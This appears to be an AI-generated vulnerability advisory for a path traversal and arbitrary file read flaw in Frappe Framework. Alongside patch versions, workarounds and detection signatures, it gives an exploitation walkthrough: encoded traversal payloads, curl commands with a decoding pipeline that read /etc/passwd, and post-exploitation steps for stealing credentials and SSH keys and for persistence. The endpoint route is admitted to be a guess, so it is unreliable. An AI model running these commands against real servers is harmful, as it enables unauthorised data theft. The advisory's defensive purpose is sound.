CVE-2026-134370 — Frappe Frappe — CWE-22
CVE-2026-134370 is a HIGH severity Path Traversal & Arbitrary File Read vulnerability (CWE-22) (CVSS 7.7/10 (EPSS: 0.3%)) affecting Frappe Frappe. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), triggering a scope change (S:C) across connected components and allowing unauthorized disclosure of sensitive data (C:H).
📄 Official NVD / MITRE Original Record Text
Frappe Framework before 15.120.1 and 16.x before 16.33.1 contains a path traversal vulnerability in file attachment handling that permits arbitrary file read. Authenticated attackers holding a single ordinary role without write permissions can abuse attachment handling to read server files outside the application boundary.
CVE‑2026‑134370 – Path‑Traversal in Frappe Framework Attachment Handling
🎯 What is this vulnerability?
- Vulnerability class – CWE‑22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal). Affected component – The HTTP endpoint that serves file attachments (
- Missing checks
/api/method/frappe.core.doctype.file.file.get_file_content – the exact route may differ between releases, but every Frappe installation that uses the generic File* DocType for serving attachments is affected).
Root cause – When a request asks the server to return an attachment, the framework builds the absolute file path by concatenating a base attachment directory (e.g., <site‑path>/private/files/) with a user‑supplied* identifier (file_name or file_url). The code fails to sanitise the supplied value for directory‑traversal sequences (../, ..\\, URL‑encoded variants) and does not enforce that the resolved path stays inside the configured attachment root.| Step | Expected check | What is missing / broken |
|---|---|---|
| 1. Authentication | The endpoint is reachable by any logged‑in user. The CVE states that any role without write permission can call it. | No additional privilege check (e.g., “must be owner of the file” or “must have read permission on the DocType”). |
| 2. Input validation | The file_name parameter should be validated against a whitelist (e.g., only alphanumerics, hyphens, underscores, and a single dot before the extension). | The value is taken verbatim, passed through os.path.join (or equivalent) and later opened with open() without a *realpath* containment test. |
| 3. Path canonicalisation | After joining, the server should resolve .. segments (realpath) and compare the result with the allowed root directory. | No realpath/os.path.abspath containment verification, allowing ../../../../etc/passwd (or Windows equivalents) to be resolved outside the attachment folder. |
| 4. Response handling | The file content is streamed back only if the file belongs to the current site. | The stream is sent for any file that exists on the host filesystem, regardless of its location. |
Because the endpoint is reachable over the network (AV:N), requires only a low‑privilege authenticated account (PR:L), and does not need user interaction (UI:N), the CVSS vector reflects a high confidentiality impact (C:H) with no integrity or availability impact (I:N/A:N).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URL path is shown as an illustrative example because the CVE does not publish the concrete route.
1. Discovery & Reconnaissance
| Action | Technique | Expected artefacts |
|---|---|---|
| Identify Frappe installation | – Fingerprint the HTTP Server header (Frappe/15.x or Frappe/16.x). <br>– Look for the default /assets/frappe static path or the /api/method JSON‑RPC endpoint. | Server: frappe/15.115 or Server: frappe/16.30 in response headers. |
| Determine version | – Query /api/method/frappe.utils.get_version (public method) or read site_config.json if exposed. | JSON response: {"message":"15.115.0"} (or similar). |
| Verify attachment endpoint | – Send a benign request for a known attachment (e.g., a logo uploaded by the admin) and observe the JSON response format. | { "message": "data:application/octet-stream;base64,..." } or a direct Content‑Disposition: attachment header. |
| Confirm low‑privilege access | – Register a normal user (role Guest or a custom role without write permission) and log in. | Session cookie sid=… that can be reused for the exploit. |
2. Exploitation
Goal: Read an arbitrary file (e.g., /etc/passwd on Linux or C:\Windows\system32\drivers\etc\hosts on Windows).
2.1. Craft the traversal payload
The vulnerable parameter is typically called file_name (or file_url).
The payload must survive URL‑encoding and any internal decoding performed by the framework. A reliable pattern is:
../../../../../../etc/passwdEncoded for a query string:
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd2.2. Send the request
# --------------------------------------------------------------
# Illustrative endpoint – replace with the real one discovered
# --------------------------------------------------------------
BASE_URL="https://target.example.com"
SESSION_COOKIE="sid=abcdef1234567890" # obtained from login step
curl -s -k -X GET "${BASE_URL}/api/method/frappe.core.doctype.file.file.get_file_content" \
-H "Cookie: ${SESSION_COOKIE}" \
-G --data-urlencode "file_name=../../../../../../etc/passwd" \
-H "Accept: application/json"
# --------------------------------------------------------------
# Expected JSON response (truncated):
# {
# "message": "data:text/plain;base64,cm9vd... (base64 of /etc/passwd)"
# }
# --------------------------------------------------------------If the endpoint returns raw binary data instead of JSON, drop the Accept header and pipe the output to a file.
2.3. Decode the result
# Assuming the response is JSON with a base64 payload:
curl -s -k -X GET "${BASE_URL}/api/method/frappe.core.doctype.file.file.get_file_content" \
-H "Cookie: ${SESSION_COOKIE}" \
-G --data-urlencode "file_name=../../../../../../etc/passwd" \
-H "Accept: application/json" |
python3 -c "import sys, json, base64; \
j=json.load(sys.stdin); \
print(base64.b64decode(j['message'].split(',',1)[1]).decode())"The output will be the contents of /etc/passwd, confirming arbitrary file read.
3. Post‑exploitation
| Phase | What the attacker can do next |
|---|---|
| Credential harvesting | Read /etc/shadow (if the process runs as root) or application config files (sites/common_site_config.json) that contain database credentials. |
| Further lateral movement | Use harvested DB credentials to connect to MariaDB/MySQL and dump other tenants’ data. |
| Privilege escalation | If the Frappe process runs under a privileged system account, reading /etc/passwd may allow enumeration of other users; reading /proc/self/environ could expose secret tokens. |
| Persistence | Upload a malicious Python script as a *File* DocType (requires only the *Attach Files* permission, which many low‑privilege roles have) and later execute it via a scheduled job or a custom API endpoint. |
| Data exfiltration | Automate the traversal to pull configuration files, SSH private keys, or any source‑code repository stored on the host. |
Because the vulnerability only provides read access, the attacker’s impact is limited to confidentiality, but the information gathered can be a stepping stone to full compromise.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read *any* file the Frappe process can access. | Exposure of: <br>• Database credentials (site_config.json). <br>• Private SSH keys stored on the host. <br>• Application source code, business logic, and customer data. |
| Integrity (I:N) | No write capability is granted by the vulnerability itself. | Direct file modification is not possible, but stolen credentials can later be used to modify data. |
| Availability (A:N) | No denial‑of‑service effect is inherent. | An attacker could cause indirect DoS by exhausting log storage or triggering rate‑limiting, but this is not a primary impact. |
Business impact – For SaaS providers or self‑hosted ERP/CRM installations that store sensitive financial or personal data, the breach of confidentiality can lead to regulatory violations (GDPR, HIPAA), loss of customer trust, and potential ransomware extortion after credential theft.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected product | Fixed in |
|---|---|
| Frappe Framework 15.x | 15.120.1 |
| Frappe Framework 16.x | 16.33.1 |
All installations running < 15.120.1 or 16.0‑16.33.0 must be upgraded to the respective fixed version or later. The patch introduces a canonical‑path check (os.path.realpath) and rejects any request where the resolved path is outside the configured private_files_path.
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement | |
|---|---|---|
| Restrict the attachment endpoint to privileged roles | Edit frappe/permissions.py (or use the UI) to add a permission rule: File.read → only roles System Manager, Administrator, or any custom role with explicit read rights. | |
Validate the file_name parameter at the web‑server level (ModSecurity example) | ``apacheconf\nSecRule REQUEST_URI "@beginsWith /api/method/frappe.core.doctype.file.file.get_file_content" "id:2026134370,phase:2,deny,log,status:403,msg:'Block path traversal in Frappe file endpoint',\n t:urlDecodeUni, \n chain\nSecRule ARGS:file_name \"@rx (\\%2e\\%2e | \\.\\./)\" \"t:none\"\n` |
| Disable public file serving | Set allow_attachments = 0 in site_config.json. This forces all file downloads to go through a server‑side proxy that can enforce stricter checks. | |
| Filesystem hardening | Mount the attachment directory (/private/files) with noexec,nosuid,nodev and use a chroot or container isolation so that even if traversal occurs, the process cannot escape the confined root. | |
| Rate‑limit the endpoint | Add a per‑IP or per‑user rate limit (e.g., Nginx limit_req_zone $binary_remote_addr zone=frappe:10m rate=5r/s;`). This reduces the feasibility of bulk file harvesting. |
3. Detection – Log signatures & IoCs
| Indicator | Example log line (Nginx) |
|---|---|
Suspicious file_name containing traversal | GET /api/method/frappe.core.doctype.file.file.get_file_content?file_name=..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 1234 "-" "curl/7.88.1" |
| Repeated attempts from same user | limit_req: limiting request(s) by zone "frappe", burst: 5, nodelay, client: 10.0.0.42 |
| Large number of base64‑encoded responses | POST /api/method/... 200 10240 "-" "python-requests/2.31.0" (size > 10 KB for a typical attachment request) |
| Access by low‑privilege role | In the application audit log: User "[email protected]" (role: Employee) accessed endpoint /api/method/... |
SIEM rule (generic) – Trigger when a request to any /api/method/*/get_file_content contains ../ or %2e%2e%2f in any query parameter and the authenticated user does not have the System Manager role.
⚠️ Urgency
Bottom line: CVE‑2026‑134370 allows any authenticated user with a non‑write role to read arbitrary files from the host filesystem via an unchecked path‑traversal in the attachment download API. The flaw is trivial to exploit, yields full confidentiality breach, and can be leveraged into full system compromise. Prompt patching and the mitigations listed above are essential to protect Frappe‑based deployments.
[🤖 CVE Professor AI Security Engine]
FOFA Query